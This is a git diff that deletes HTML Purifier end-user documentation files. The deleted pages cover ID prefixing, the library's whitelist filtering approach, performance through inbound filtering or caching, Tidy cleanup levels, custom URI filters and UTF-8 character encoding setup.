    Furthermore, this position becomes untenable when a single web page must hold -multiple portions of user-submitted content. Since there's obviously no way -to find out before-hand what IDs users will use, the blacklist is helpless. -And since HTML Purifier validates each segment separately, perhaps doing -so at different times, it would be extremely difficult to dynamically update -the blacklist in between runs.

    - -

    Finally, simply destroying the ID is extremely un-userfriendly behavior: after -all, they might have simply specified a duplicate ID by accident.

    - -

    Thus, we get to our second method.

    - - - -

    Namespacing IDs

    -
    Lazy developer's way, but needs user education
    - -

    This method, too, is quite simple: add a prefix to all user IDs. With this -code:

    - -
    $config->set('Attr.EnableID', true);
    -$config->set('Attr.IDPrefix', 'user_');
    - -

    ...this:

    - -
    <a id="foobar">Anchor!</a>
    - -

    ...turns into:

    - -
    <a id="user_foobar">Anchor!</a>
    - -

    As long as you don't have any IDs that start with user_, collisions are -guaranteed not to happen. The drawback is obvious: if a user submits -id="foobar", they probably expect to be able to reference their page with -#foobar. You'll have to tell them, "No, that doesn't work, you have to add -user_ to the beginning."

    - -

    And yes, things get hairier. Even with a nice prefix, we still have done -nothing about multiple HTML Purifier outputs on one page. Thus, we have -a second configuration value to piggy-back off of: %Attr.IDPrefixLocal:

    - -
    $config->set('Attr.IDPrefixLocal', 'comment' . $id . '_');
    - -

    This new attributes does nothing but append on to regular IDPrefix, but is -special in that it is volatile: it's value is determined at run-time and -cannot possibly be cordoned into, say, a .ini config file. As for what to -put into the directive, is up to you, but I would recommend the ID number -the text has been assigned in the database. Whatever you pick, however, it -has to be unique and stable for the text you are validating. Note, however, -that we require that %Attr.IDPrefix be set before you use this directive.

    - -

    And also remember: the user has to know what this prefix is too!

    - - - -

    Abstinence

    - -

    You may not want to bother. That's okay too, just don't enable IDs.

    - -

    Personally, I would take this road whenever user-submitted content would be -possibly be shown together on one page. Why a blog comment would need to use -anchors is beyond me.

    - - - -

    Denial

    - -

    To revert back to pre-1.2.0 behavior, simply:

    - -
    $config->set('Attr.EnableID', true);
    - -

    Don't come crying to me when your page mysteriously stops validating, though.

    - - - - - diff --git a/classes/security/htmlpurifier/docs/enduser-overview.txt b/classes/security/htmlpurifier/docs/enduser-overview.txt deleted file mode 100644 index fe7f8705d..000000000 --- a/classes/security/htmlpurifier/docs/enduser-overview.txt +++ /dev/null @@ -1,59 +0,0 @@ - -HTML Purifier - by Edward Z. Yang - -There are a number of ad hoc HTML filtering solutions out there on the web -(some examples including HTML_Safe, kses and SafeHtmlChecker.class.php) that -claim to filter HTML properly, preventing malicious JavaScript and layout -breaking HTML from getting through the parser. None of them, however, -demonstrates a thorough knowledge of neither the DTD that defines the HTML -nor the caveats of HTML that cannot be expressed by a DTD. Configurable -filters (such as kses or PHP's built-in striptags() function) have trouble -validating the contents of attributes and can be subject to security attacks -due to poor configuration. Other filters take the naive approach of -blacklisting known threats and tags, failing to account for the introduction -of new technologies, new tags, new attributes or quirky browser behavior. - -However, HTML Purifier takes a different approach, one that doesn't use -specification-ignorant regexes or narrow blacklists. HTML Purifier will -decompose the whole document into tokens, and rigorously process the tokens by: -removing non-whitelisted elements, transforming bad practice tags like -into , properly checking the nesting of tags and their children and -validating all attributes according to their RFCs. - -To my knowledge, there is nothing like this on the web yet. Not even MediaWiki, -which allows an amazingly diverse mix of HTML and wikitext in its documents, -gets all the nesting quirks right. Existing solutions hope that no JavaScript -will slip through, but either do not attempt to ensure that the resulting -output is valid XHTML or send the HTML through a draconic XML parser (and yet -still get the nesting wrong: SafeHtmlChecker.class.php does not prevent -tags from being nested within each other). - -This document no longer is a detailed description of how HTMLPurifier works, -as those descriptions have been moved to the appropriate code. The first -draft was drawn up after two rough code sketches and the implementation of a -forgiving lexer. You may also be interested in the unit tests located in the -tests/ folder, which provide a living document on how exactly the filter deals -with malformed input. - -In summary (see corresponding classes for more details): - -1. Parse document into an array of tag and text tokens (Lexer) -2. Remove all elements not on whitelist and transform certain other elements - into acceptable forms (i.e. ) -3. Make document well formed while helpfully taking into account certain quirks, - such as the fact that

    tags traditionally are closed by other block-level - elements. -4. Run through all nodes and check children for proper order (especially - important for tables). -5. Validate attributes according to more restrictive definitions based on the - RFCs. -6. Translate back into a string. (Generator) - -HTML Purifier is best suited for documents that require a rich array of -HTML tags. Things like blog comments are, in all likelihood, most appropriately -written in an extremely restrictive set of markup that doesn't require -all this functionality (or not written in HTML at all), although this may -be changing in the future with the addition of levels of filtering. - - vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/docs/enduser-security.txt b/classes/security/htmlpurifier/docs/enduser-security.txt deleted file mode 100644 index 518f092bd..000000000 --- a/classes/security/htmlpurifier/docs/enduser-security.txt +++ /dev/null @@ -1,18 +0,0 @@ - -Security - -Like anything that claims to afford security, HTML_Purifier can be circumvented -through negligence of people. This class will do its job: no more, no less, -and it's up to you to provide it the proper information and proper context -to be effective. Things to remember: - -1. Character Encoding: see enduser-utf8.html for more info. - -2. IDs: see enduser-id.html for more info - -3. URIs: see enduser-uri-filter.html - -4. CSS: document pending -Explain which CSS styles we blocked and why. - - vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/docs/enduser-slow.html b/classes/security/htmlpurifier/docs/enduser-slow.html deleted file mode 100644 index f0ea02de1..000000000 --- a/classes/security/htmlpurifier/docs/enduser-slow.html +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - -Speeding up HTML Purifier - HTML Purifier - - - -

    Speeding up HTML Purifier

    -
    ...also known as the HELP ME LIBRARY IS TOO SLOW MY PAGE TAKE TOO LONG page
    - -
    Filed under End-User
    -
    -
    HTML Purifier End-User Documentation
    - -

    HTML Purifier is a very powerful library. But with power comes great -responsibility, in the form of longer execution times. Remember, this -library isn't lightly grazing over submitted HTML: it's deconstructing -the whole thing, rigorously checking the parts, and then putting it back -together.

    - -

    So, if it so turns out that HTML Purifier is kinda too slow for outbound -filtering, you've got a few options:

    - -

    Inbound filtering

    - -

    Perform filtering of HTML when it's submitted by the user. Since the -user is already submitting something, an extra half a second tacked on -to the load time probably isn't going to be that huge of a problem. -Then, displaying the content is a simple a manner of outputting it -directly from your database/filesystem. The trouble with this method is -that your user loses the original text, and when doing edits, will be -handling the filtered text. While this may be a good thing, especially -if you're using a WYSIWYG editor, it can also result in data-loss if a -user makes a typo.

    - -

    Example (non-functional):

    - -
    <?php
    -    /**
    -     * FORM SUBMISSION PAGE
    -     * display_error($message) : displays nice error page with message
    -     * display_success() : displays a nice success page
    -     * display_form() : displays the HTML submission form
    -     * database_insert($html) : inserts data into database as new row
    -     */
    -    if (!empty($_POST)) {
    -        require_once '/path/to/library/HTMLPurifier.auto.php';
    -        require_once 'HTMLPurifier.func.php';
    -        $dirty_html = isset($_POST['html']) ? $_POST['html'] : false;
    -        if (!$dirty_html) {
    -            display_error('You must write some HTML!');
    -        }
    -        $html = HTMLPurifier($dirty_html);
    -        database_insert($html);
    -        display_success();
    -        // notice that $dirty_html is *not* saved
    -    } else {
    -        display_form();
    -    }
    -?>
    - -

    Caching the filtered output

    - -

    Accept the submitted text and put it unaltered into the database, but -then also generate a filtered version and stash that in the database. -Serve the filtered version to readers, and the unaltered version to -editors. If need be, you can invalidate the cache and have the cached -filtered version be regenerated on the first page view. Pros? Full data -retention. Cons? It's more complicated, and opens other editors up to -XSS if they are using a WYSIWYG editor (to fix that, they'd have to be -able to get their hands on the *really* original text served in -plaintext mode).

    - -

    Example (non-functional):

    - -
    <?php
    -    /**
    -     * VIEW PAGE
    -     * display_error($message) : displays nice error page with message
    -     * cache_get($id) : retrieves HTML from fast cache (db or file)
    -     * cache_insert($id, $html) : inserts good HTML into cache system
    -     * database_get($id) : retrieves raw HTML from database
    -     */
    -    $id = isset($_GET['id']) ? (int) $_GET['id'] : false;
    -    if (!$id) {
    -        display_error('Must specify ID.');
    -        exit;
    -    }
    -    $html = cache_get($id); // filesystem or database
    -    if ($html === false) {
    -        // cache didn't have the HTML, generate it
    -        $raw_html = database_get($id);
    -        require_once '/path/to/library/HTMLPurifier.auto.php';
    -        require_once 'HTMLPurifier.func.php';
    -        $html = HTMLPurifier($raw_html);
    -        cache_insert($id, $html);
    -    }
    -    echo $html;
    -?>
    - -

    Summary

    - -

    In short, inbound filtering is the simple option and caching is the -robust option (albeit with bigger storage requirements).

    - -

    There is a third option, independent of the two we've discussed: profile -and optimize HTMLPurifier yourself. Be sure to report back your results -if you decide to do that! Especially if you port HTML Purifier to C++. -;-)

    - - - - - diff --git a/classes/security/htmlpurifier/docs/enduser-tidy.html b/classes/security/htmlpurifier/docs/enduser-tidy.html deleted file mode 100644 index a243f7fc2..000000000 --- a/classes/security/htmlpurifier/docs/enduser-tidy.html +++ /dev/null @@ -1,231 +0,0 @@ - - - - - - - -Tidy - HTML Purifier - - - -

    Tidy

    - -
    Filed under Development
    -
    Return to the index.
    -
    HTML Purifier End-User Documentation
    - -

    You've probably heard of HTML Tidy, Dave Raggett's little piece -of software that cleans up poorly written HTML. Let me say it straight -out:

    - -

    This ain't HTML Tidy!

    - -

    Rather, Tidy stands for a cool set of Tidy-inspired features in HTML Purifier -that allows users to submit deprecated elements and attributes and get -valid strict markup back. For example:

    - -
    <center>Centered</center>
    - -

    ...becomes:

    - -
    <div style="text-align:center;">Centered</div>
    - -

    ...when this particular fix is run on the HTML. This tutorial will give -you the lowdown of what exactly HTML Purifier will do when Tidy -is on, and how to fine-tune this behavior. Once again, you do -not need Tidy installed on your PHP to use these features!

    - -

    What does it do?

    - -

    Tidy will do several things to your HTML:

    - -
      -
    • Convert deprecated elements and attributes to standards-compliant - alternatives
    • -
    • Enforce XHTML compatibility guidelines and other best practices
    • -
    • Preserve data that would normally be removed as per W3C
    • -
    - -

    What are levels?

    - -

    Levels describe how aggressive the Tidy module should be when -cleaning up HTML. There are four levels to pick: none, light, medium -and heavy. Each of these levels has a well-defined set of behavior -associated with it, although it may change depending on your doctype.

    - -
    -
    light
    -
    This is the lenient level. If a tag or attribute - is about to be removed because it isn't supported by the - doctype, Tidy will step in and change into an alternative that - is supported.
    -
    medium
    -
    This is the correctional level. At this level, - all the functions of light are performed, as well as some extra, - non-essential best practices enforcement. Changes made on this - level are very benign and are unlikely to cause problems.
    -
    heavy
    -
    This is the aggressive level. If a tag or - attribute is deprecated, it will be converted into a non-deprecated - version, no ifs ands or buts.
    -
    - -

    By default, Tidy operates on the medium level. You can -change the level of cleaning by setting the %HTML.TidyLevel configuration -directive:

    - -
    $config->set('HTML.TidyLevel', 'heavy'); // burn baby burn!
    - -

    Is the light level really light?

    - -

    It depends on what doctype you're using. If your documents are HTML -4.01 Transitional, HTML Purifier will be lazy -and won't clean up your center -or font tags. But if you're using HTML 4.01 Strict, -HTML Purifier has no choice: it has to convert them, or they will -be nuked out of existence. So while light on Transitional will result -in little to no changes, light on Strict will still result in quite -a lot of fixes.

    - -

    This is different behavior from 1.6 or before, where deprecated -tags in transitional documents would -always be cleaned up regardless. This is also better behavior.

    - -

    My pages look different!

    - -

    HTML Purifier is tasked with converting deprecated tags and -attributes to standards-compliant alternatives, which usually -need copious amounts of CSS. It's also not foolproof: sometimes -things do get lost in the translation. This is why when HTML Purifier -can get away with not doing cleaning, it won't; this is why -the default value is medium and not heavy.

    - -

    Fortunately, only a few attributes have problems with the switch -over. They are described below:

    - - - - - - - - - - - - - - - - - - - - - - - - -
    Element@AttrChanges
    caption@alignFirefox supports stuffing the caption on the - left and right side of the table, a feature that - Internet Explorer, understandably, does not have. - When align equals right or left, the text will simply - be aligned on the left or right side.
    img@alignThe implementation for align bottom is good, but not - perfect. There are a few pixel differences.
    br@clearClear both gets a little wonky in Internet Explorer. Haven't - really been able to figure out why.
    hr@noshadeAll browsers implement this slightly differently: we've - chosen to make noshade horizontal rules gray.
    - -

    There are a few more minor, although irritating, bugs. -Some older browsers support deprecated attributes, -but not CSS. Transformed elements and attributes will look unstyled -to said browsers. Also, CSS precedence is slightly different for -inline styles versus presentational markup. In increasing precedence:

    - -
      -
    1. Presentational attributes
    2. -
    3. External style sheets
    4. -
    5. Inline styling
    6. -
    - -

    This means that styling that may have been masked by external CSS -declarations will start showing up (a good thing, perhaps). Finally, -if you've turned off the style attribute, almost all of -these transformations will not work. Sorry mates.

    - -

    You can review the rendering before and after of these transformations -by consulting the attrTransform.php -smoketest.

    - -

    I like the general idea, but the specifics bug me!

    - -

    So you want HTML Purifier to clean up your HTML, but you're not -so happy about the br@clear implementation. That's perfectly fine! -HTML Purifier will make accomodations:

    - -
    $config->set('HTML.Doctype', 'XHTML 1.0 Transitional');
    -$config->set('HTML.TidyLevel', 'heavy'); // all changes, minus...
    -$config->set('HTML.TidyRemove', 'br@clear');
    - -

    That third line does the magic, removing the br@clear fix -from the module, ensuring that <br clear="both" /> -will pass through unharmed. The reverse is possible too:

    - -
    $config->set('HTML.Doctype', 'XHTML 1.0 Transitional');
    -$config->set('HTML.TidyLevel', 'none'); // no changes, plus...
    -$config->set('HTML.TidyAdd', 'p@align');
    - -

    In this case, all transformations are shut off, except for the p@align -one, which you found handy.

    - -

    To find out what the names of fixes you want to turn on or off are, -you'll have to consult the source code, specifically the files in -HTMLPurifier/HTMLModule/Tidy/. There is, however, a -general syntax:

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    NameExampleInterpretation
    elementfontTag transform for element
    element@attrbr@clearAttribute transform for attr on element
    @attr@langGlobal attribute transform for attr
    e#content_model_typeblockquote#content_model_typeChange of child processing implementation for e
    - -

    So... what's the lowdown?

    - -

    The lowdown is, quite frankly, HTML Purifier's default settings are -probably good enough. The next step is to bump the level up to heavy, -and if that still doesn't satisfy your appetite, do some fine-tuning. -Other than that, don't worry about it: this all works silently and -effectively in the background.

    - - - - diff --git a/classes/security/htmlpurifier/docs/enduser-uri-filter.html b/classes/security/htmlpurifier/docs/enduser-uri-filter.html deleted file mode 100644 index d1b3354a3..000000000 --- a/classes/security/htmlpurifier/docs/enduser-uri-filter.html +++ /dev/null @@ -1,204 +0,0 @@ - - - - - - - -URI Filters - HTML Purifier - - - -

    URI Filters

    - -
    Filed under End-User
    -
    Return to the index.
    -
    HTML Purifier End-User Documentation
    - -

    - This is a quick and dirty document to get you on your way to writing - custom URI filters for your own URL filtering needs. Why would you - want to write a URI filter? If you need URIs your users put into - HTML to magically change into a different URI, this is - exactly what you need! -

    - -

    Creating the class

    - -

    - Any URI filter you make will be a subclass of HTMLPurifier_URIFilter. - The scaffolding is thus: -

    - -
    class HTMLPurifier_URIFilter_NameOfFilter extends HTMLPurifier_URIFilter
    -{
    -    public $name = 'NameOfFilter';
    -    public function prepare($config) {}
    -    public function filter(&$uri, $config, $context) {}
    -}
    - -

    - Fill in the variable $name with the name of your filter, and - take a look at the two methods. prepare() is an initialization - method that is called only once, before any filtering has been done of the - HTML. Use it to perform any costly setup work that only needs to be done - once. filter() is the guts and innards of our filter: - it takes the URI and does whatever needs to be done to it. -

    - -

    - If you've worked with HTML Purifier, you'll recognize the $config - and $context parameters. On the other hand, $uri - is something unique to this section of the application: it's a - HTMLPurifier_URI object. The interface is thus: -

    - -
    class HTMLPurifier_URI
    -{
    -    public $scheme, $userinfo, $host, $port, $path, $query, $fragment;
    -    public function HTMLPurifier_URI($scheme, $userinfo, $host, $port, $path, $query, $fragment);
    -    public function toString();
    -    public function copy();
    -    public function getSchemeObj($config, $context);
    -    public function validate($config, $context);
    -}
    - -

    - The first three methods are fairly self-explanatory: you have a constructor, - a serializer, and a cloner. Generally, you won't be using them when - you are manipulating the URI objects themselves. - getSchemeObj() is a special purpose method that returns - a HTMLPurifier_URIScheme object corresponding to the specific - URI at hand. validate() performs general-purpose validation - on the internal components of a URI. Once again, you don't need to - worry about these: they've already been handled for you. -

    - -

    URI format

    - -

    - As a URIFilter, we're interested in the member variables of the URI object. -

    - - - - - - - - - -
    Scheme The protocol for identifying (and possibly locating) a resource (http, ftp, https)
    Userinfo User information such as a username (bob)
    Host Domain name or IP address of the server (example.com, 127.0.0.1)
    Port Network port number for the server (80, 12345)
    Path Data that identifies the resource, possibly hierarchical (/path/to, ed@example.com)
    Query String of information to be interpreted by the resource (?q=search-term)
    Fragment Additional information for the resource after retrieval (#bookmark)
    - -

    - Because the URI is presented to us in this form, and not - http://bob@example.com:8080/foo.php?q=string#hash, it saves us - a lot of trouble in having to parse the URI every time we want to filter - it. For the record, the above URI has the following components: -

    - - - - - - - - - -
    Scheme http
    Userinfo bob
    Host example.com
    Port 8080
    Path /foo.php
    Query q=string
    Fragment hash
    - -

    - Note that there is no question mark or octothorpe in the query or - fragment: these get removed during parsing. -

    - -

    - With this information, you can get straight to implementing your - filter() method. But one more thing... -

    - -

    Return value: Boolean, not URI

    - -

    - You may have noticed that the URI is being passed in by reference. - This means that whatever changes you make to it, those changes will - be reflected in the URI object the callee had. Do not - return the URI object: it is unnecessary and will cause bugs. - Instead, return a boolean value, true if the filtering was successful, - or false if the URI is beyond repair and needs to be axed. -

    - -

    - Let's suppose I wanted to write a filter that converted links with a - custom image scheme to its corresponding real path on - our website: -

    - -
    class HTMLPurifier_URIFilter_TransformImageScheme extends HTMLPurifier_URIFilter
    -{
    -    public $name = 'TransformImageScheme';
    -    public function filter(&$uri, $config, $context) {
    -        if ($uri->scheme !== 'image') return true;
    -        $img_name = $uri->path;
    -        // Overwrite the previous URI object
    -        $uri = new HTMLPurifier_URI('http', null, null, null, '/img/' . $img_name . '.png', null, null);
    -        return true;
    -    }
    -}
    - -

    - Notice I did not return $uri;. This filter would turn - image:Foo into /img/Foo.png. -

    - -

    Activating your filter

    - -

    - Having a filter is all well and good, but you need to tell HTML Purifier - to use it. Fortunately, this part's simple: -

    - -
    $uri = $config->getDefinition('URI');
    -$uri->addFilter(new HTMLPurifier_URIFilter_NameOfFilter(), $config);
    - -

    - After adding a filter, you won't be able to set configuration directives. - Structure your code accordingly. -

    - - - -

    Post-filter

    - -

    - Remember our TransformImageScheme filter? That filter acted before we had - performed scheme validation; otherwise, the URI would have been filtered - out when it was discovered that there was no image scheme. Well, a post-filter - is run after scheme specific validation, so it's ideal for bulk - post-processing of URIs, including munging. To specify a URI as a post-filter, - set the $post member variable to TRUE. -

    - -
    class HTMLPurifier_URIFilter_MyPostFilter extends HTMLPurifier_URIFilter
    -{
    -    public $name = 'MyPostFilter';
    -    public $post = true;
    -    // ... extra code here
    -}
    -
    - -

    Examples

    - -

    - Check the - URIFilter - directory for more implementation examples, and see the - new directives proposal document for ideas on what could be implemented - as a filter. -

    - - - - diff --git a/classes/security/htmlpurifier/docs/enduser-utf8.html b/classes/security/htmlpurifier/docs/enduser-utf8.html deleted file mode 100644 index 9b01a302a..000000000 --- a/classes/security/htmlpurifier/docs/enduser-utf8.html +++ /dev/null @@ -1,1060 +0,0 @@ - - - - - - - - -UTF-8: The Secret of Character Encoding - HTML Purifier - - - - - -

    UTF-8: The Secret of Character Encoding

    - -
    Filed under End-User
    -
    Return to the index.
    -
    HTML Purifier End-User Documentation
    - -

    Character encoding and character sets are not that -difficult to understand, but so many people blithely stumble -through the worlds of programming without knowing what to actually -do about it, or say "Ah, it's a job for those internationalization -experts." No, it is not! This document will walk you through -determining the encoding of your system and how you should handle -this information. It will stay away from excessive discussion on -the internals of character encoding.

    - -

    This document is not designed to be read in its entirety: it will -slowly introduce concepts that build on each other: you need not get to -the bottom to have learned something new. However, I strongly -recommend you read all the way to Why UTF-8?, because at least -at that point you'd have made a conscious decision not to migrate, -which can be a rewarding (but difficult) task.

    - -
    -
    Asides
    -

    Text in this formatting is an aside, - interesting tidbits for the curious but not strictly necessary material to - do the tutorial. If you read this text, you'll come out - with a greater understanding of the underlying issues.

    -
    - -

    Table of Contents

    - -
      -
    1. Finding the real encoding
    2. -
    3. Finding the embedded encoding
    4. -
    5. Fixing the encoding
        -
      1. No embedded encoding
      2. -
      3. Embedded encoding disagrees
      4. -
      5. Changing the server encoding
          -
        1. PHP header() function
        2. -
        3. PHP ini directive
        4. -
        5. Non-PHP
        6. -
        7. .htaccess
        8. -
        9. File extensions
        10. -
      6. -
      7. XML
      8. -
      9. Inside the process
      10. -
    6. -
    7. Why UTF-8?
        -
      1. Internationalization
      2. -
      3. User-friendly
      4. -
      5. Forms
          -
        1. application/x-www-form-urlencoded
        2. -
        3. multipart/form-data
        4. -
      6. -
      7. Well supported
      8. -
      9. HTML Purifiers
      10. -
    8. -
    9. Migrate to UTF-8
        -
      1. Configuring your database
          -
        1. Legit method
        2. -
        3. Binary
        4. -
      2. -
      3. Text editor
      4. -
      5. Byte Order Mark (headers already sent!)
      6. -
      7. Fonts
          -
        1. Obscure scripts
        2. -
        3. Occasional use
        4. -
      8. -
      9. Dealing with variable width in functions
      10. -
    10. -
    11. Further Reading
    12. -
    - -

    Finding the real encoding

    - -

    In the beginning, there was ASCII, and things were simple. But they -weren't good, for no one could write in Cyrillic or Thai. So there -exploded a proliferation of character encodings to remedy the problem -by extending the characters ASCII could express. This ridiculously -simplified version of the history of character encodings shows us that -there are now many character encodings floating around.

    - -
    -

    A character encoding tells the computer how to - interpret raw zeroes and ones into real characters. It - usually does this by pairing numbers with characters.

    -

    There are many different types of character encodings floating - around, but the ones we deal most frequently with are ASCII, - 8-bit encodings, and Unicode-based encodings.

    -
      -
    • ASCII is a 7-bit encoding based on the - English alphabet.
    • -
    • 8-bit encodings are extensions to ASCII - that add a potpourri of useful, non-standard characters - like é and æ. They can only add 127 characters, - so usually only support one script at a time. When you - see a page on the web, chances are it's encoded in one - of these encodings.
    • -
    • Unicode-based encodings implement the - Unicode standard and include UTF-8, UTF-16 and UTF-32/UCS-4. - They go beyond 8-bits and support almost - every language in the world. UTF-8 is gaining traction - as the dominant international encoding of the web.
    • -
    -
    - -

    The first step of our journey is to find out what the encoding of -your website is. The most reliable way is to ask your -browser:

    - -
    -
    Mozilla Firefox
    -
    Tools > Page Info: Encoding
    -
    Internet Explorer
    -
    View > Encoding: bulleted item is unofficial name
    -
    - -

    Internet Explorer won't give you the MIME (i.e. useful/real) name of the -character encoding, so you'll have to look it up using their description. -Some common ones:

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    IE's DescriptionMime Name
    Windows
    Arabic (Windows)Windows-1256
    Baltic (Windows)Windows-1257
    Central European (Windows)Windows-1250
    Cyrillic (Windows)Windows-1251
    Greek (Windows)Windows-1253
    Hebrew (Windows)Windows-1255
    Thai (Windows)TIS-620
    Turkish (Windows)Windows-1254
    Vietnamese (Windows)Windows-1258
    Western European (Windows)Windows-1252
    ISO
    Arabic (ISO)ISO-8859-6
    Baltic (ISO)ISO-8859-4
    Central European (ISO)ISO-8859-2
    Cyrillic (ISO)ISO-8859-5
    Estonian (ISO)ISO-8859-13
    Greek (ISO)ISO-8859-7
    Hebrew (ISO-Logical)ISO-8859-8-l
    Hebrew (ISO-Visual)ISO-8859-8
    Latin 9 (ISO)ISO-8859-15
    Turkish (ISO)ISO-8859-9
    Western European (ISO)ISO-8859-1
    Other
    Chinese Simplified (GB18030)GB18030
    Chinese Simplified (GB2312)GB2312
    Chinese Simplified (HZ)HZ
    Chinese Traditional (Big5)Big5
    Japanese (Shift-JIS)Shift_JIS
    Japanese (EUC)EUC-JP
    KoreanEUC-KR
    Unicode (UTF-8)UTF-8
    - -

    Internet Explorer does not recognize some of the more obscure -character encodings, and having to lookup the real names with a table -is a pain, so I recommend using Mozilla Firefox to find out your -character encoding.

    - -

    Finding the embedded encoding

    - -

    At this point, you may be asking, "Didn't we already find out our -encoding?" Well, as it turns out, there are multiple places where -a web developer can specify a character encoding, and one such place -is in a META tag:

    - -
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
    - -

    You'll find this in the HEAD section of an HTML document. -The text to the right of charset= is the "claimed" -encoding: the HTML claims to be this encoding, but whether or not this -is actually the case depends on other factors. For now, take note -if your META tag claims that either:

    - -
      -
    1. The character encoding is the same as the one reported by the - browser,
    2. -
    3. The character encoding is different from the browser's, or
    4. -
    5. There is no META tag at all! (horror, horror!)
    6. -
    - -

    Fixing the encoding

    - -

    The advice given here is for pages being served as -vanilla text/html. Different practices must be used -for application/xml or application/xml+xhtml, see -W3C's -document on XHTML media types for more information.

    - -

    If your META encoding and your real encoding match, -savvy! You can skip this section. If they don't...

    - -

    No embedded encoding

    - -

    If this is the case, you'll want to add in the appropriate -META tag to your website. It's as simple as copy-pasting -the code snippet above and replacing UTF-8 with whatever is the mime name -of your real encoding.

    - -
    -

    For all those skeptics out there, there is a very good reason - why the character encoding should be explicitly stated. When the - browser isn't told what the character encoding of a text is, it - has to guess: and sometimes the guess is wrong. Hackers can manipulate - this guess in order to slip XSS past filters and then fool the - browser into executing it as active code. A great example of this - is the Google UTF-7 - exploit.

    -

    You might be able to get away with not specifying a character - encoding with the META tag as long as your webserver - sends the right Content-Type header, but why risk it? Besides, if - the user downloads the HTML file, there is no longer any webserver - to define the character encoding.

    -
    - -

    Embedded encoding disagrees

    - -

    This is an extremely common mistake: another source is telling -the browser what the -character encoding is and is overriding the embedded encoding. This -source usually is the Content-Type HTTP header that the webserver (i.e. -Apache) sends. A usual Content-Type header sent with a page might -look like this:

    - -
    Content-Type: text/html; charset=ISO-8859-1
    - -

    Notice how there is a charset parameter: this is the webserver's -way of telling a browser what the character encoding is, much like -the META tags we touched upon previously.

    - -

    In fact, the META tag is -designed as a substitute for the HTTP header for contexts where -sending headers is impossible (such as locally stored files without -a webserver). Thus the name http-equiv (HTTP equivalent). -

    - -

    There are two ways to go about fixing this: changing the META -tag to match the HTTP header, or changing the HTTP header to match -the META tag. How do we know which to do? It depends -on the website's content: after all, headers and tags are only ways of -describing the actual characters on the web page.

    - -

    If your website:

    - -
    -
    ...only uses ASCII characters,
    -
    Either way is fine, but I recommend switching both to - UTF-8 (more on this later).
    -
    ...uses special characters, and they display - properly,
    -
    Change the embedded encoding to the server encoding.
    -
    ...uses special characters, but users often complain that - they come out garbled,
    -
    Change the server encoding to the embedded encoding.
    -
    - -

    Changing a META tag is easy: just swap out the old encoding -for the new. Changing the server (HTTP header) encoding, however, -is slightly more difficult.

    - -

    Changing the server encoding

    - -

    PHP header() function

    - -

    The simplest way to handle this problem is to send the encoding -yourself, via your programming language. Since you're using HTML -Purifier, I'll assume PHP, although it's not too difficult to do -similar things in -other -languages. The appropriate code is:

    - -
    header('Content-Type:text/html; charset=UTF-8');
    - -

    ...replacing UTF-8 with whatever your embedded encoding is. -This code must come before any output, so be careful about -stray whitespace in your application (i.e., any whitespace before -output excluding whitespace within <?php ?> tags).

    - -

    PHP ini directive

    - -

    PHP also has a neat little ini directive that can save you a -header call: default_charset. Using this code:

    - -
    ini_set('default_charset', 'UTF-8');
    - -

    ...will also do the trick. If PHP is running as an Apache module (and -not as FastCGI, consult -phpinfo() for details), you can even use htaccess to apply this property -across many PHP files:

    - -
    php_value default_charset "UTF-8"
    - -

    As with all INI directives, this can -also go in your php.ini file. Some hosting providers allow you to customize -your own php.ini file, ask your support for details. Use:

    -
    default_charset = "utf-8"
    - -

    Non-PHP

    - -

    You may, for whatever reason, need to set the character encoding -on non-PHP files, usually plain ol' HTML files. Doing this -is more of a hit-or-miss process: depending on the software being -used as a webserver and the configuration of that software, certain -techniques may work, or may not work.

    - -

    .htaccess

    - -

    On Apache, you can use an .htaccess file to change the character -encoding. I'll defer to -W3C -for the in-depth explanation, but it boils down to creating a file -named .htaccess with the contents:

    - -
    AddCharset UTF-8 .html
    - -

    Where UTF-8 is replaced with the character encoding you want to -use and .html is a file extension that this will be applied to. This -character encoding will then be set for any file directly in -or in the subdirectories of directory you place this file in.

    - -

    If you're feeling particularly courageous, you can use:

    - -
    AddDefaultCharset UTF-8
    - -

    ...which changes the character set Apache adds to any document that -doesn't have any Content-Type parameters. This directive, which the -default configuration file sets to iso-8859-1 for security -reasons, is probably why your headers mismatch -with the META tag. If you would prefer Apache not to be -butting in on your character encodings, you can tell it not -to send anything at all:

    - -
    AddDefaultCharset Off
    - -

    ...making your internal charset declaration (usually the META tags) -the sole source of character encoding -information. In these cases, it is especially important to make -sure you have valid META tags on your pages and all the -text before them is ASCII.

    - -

    These directives can also be -placed in httpd.conf file for Apache, but -in most shared hosting situations you won't be able to edit this file. -

    - -

    File extensions

    - -

    If you're not allowed to use .htaccess files, you can often -piggy-back off of Apache's default AddCharset declarations to get -your files in the proper extension. Here are Apache's default -character set declarations:

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CharsetFile extension(s)
    ISO-8859-1.iso8859-1 .latin1
    ISO-8859-2.iso8859-2 .latin2 .cen
    ISO-8859-3.iso8859-3 .latin3
    ISO-8859-4.iso8859-4 .latin4
    ISO-8859-5.iso8859-5 .latin5 .cyr .iso-ru
    ISO-8859-6.iso8859-6 .latin6 .arb
    ISO-8859-7.iso8859-7 .latin7 .grk
    ISO-8859-8.iso8859-8 .latin8 .heb
    ISO-8859-9.iso8859-9 .latin9 .trk
    ISO-2022-JP.iso2022-jp .jis
    ISO-2022-KR.iso2022-kr .kis
    ISO-2022-CN.iso2022-cn .cis
    Big5.Big5 .big5 .b5
    WINDOWS-1251.cp-1251 .win-1251
    CP866.cp866
    KOI8-r.koi8-r .koi8-ru
    KOI8-ru.koi8-uk .ua
    ISO-10646-UCS-2.ucs2
    ISO-10646-UCS-4.ucs4
    UTF-8.utf8
    GB2312.gb2312 .gb
    utf-7.utf7
    EUC-TW.euc-tw
    EUC-JP.euc-jp
    EUC-KR.euc-kr
    shift_jis.sjis
    - -

    So, for example, a file named page.utf8.html or -page.html.utf8 will probably be sent with the UTF-8 charset -attached, the difference being that if there is an -AddCharset charset .html declaration, it will override -the .utf8 extension in page.utf8.html (precedence moves -from right to left). By default, Apache has no such declaration.

    - -

    Microsoft IIS

    - -

    If anyone can contribute information on how to configure Microsoft -IIS to change character encodings, I'd be grateful.

    - -

    XML

    - -
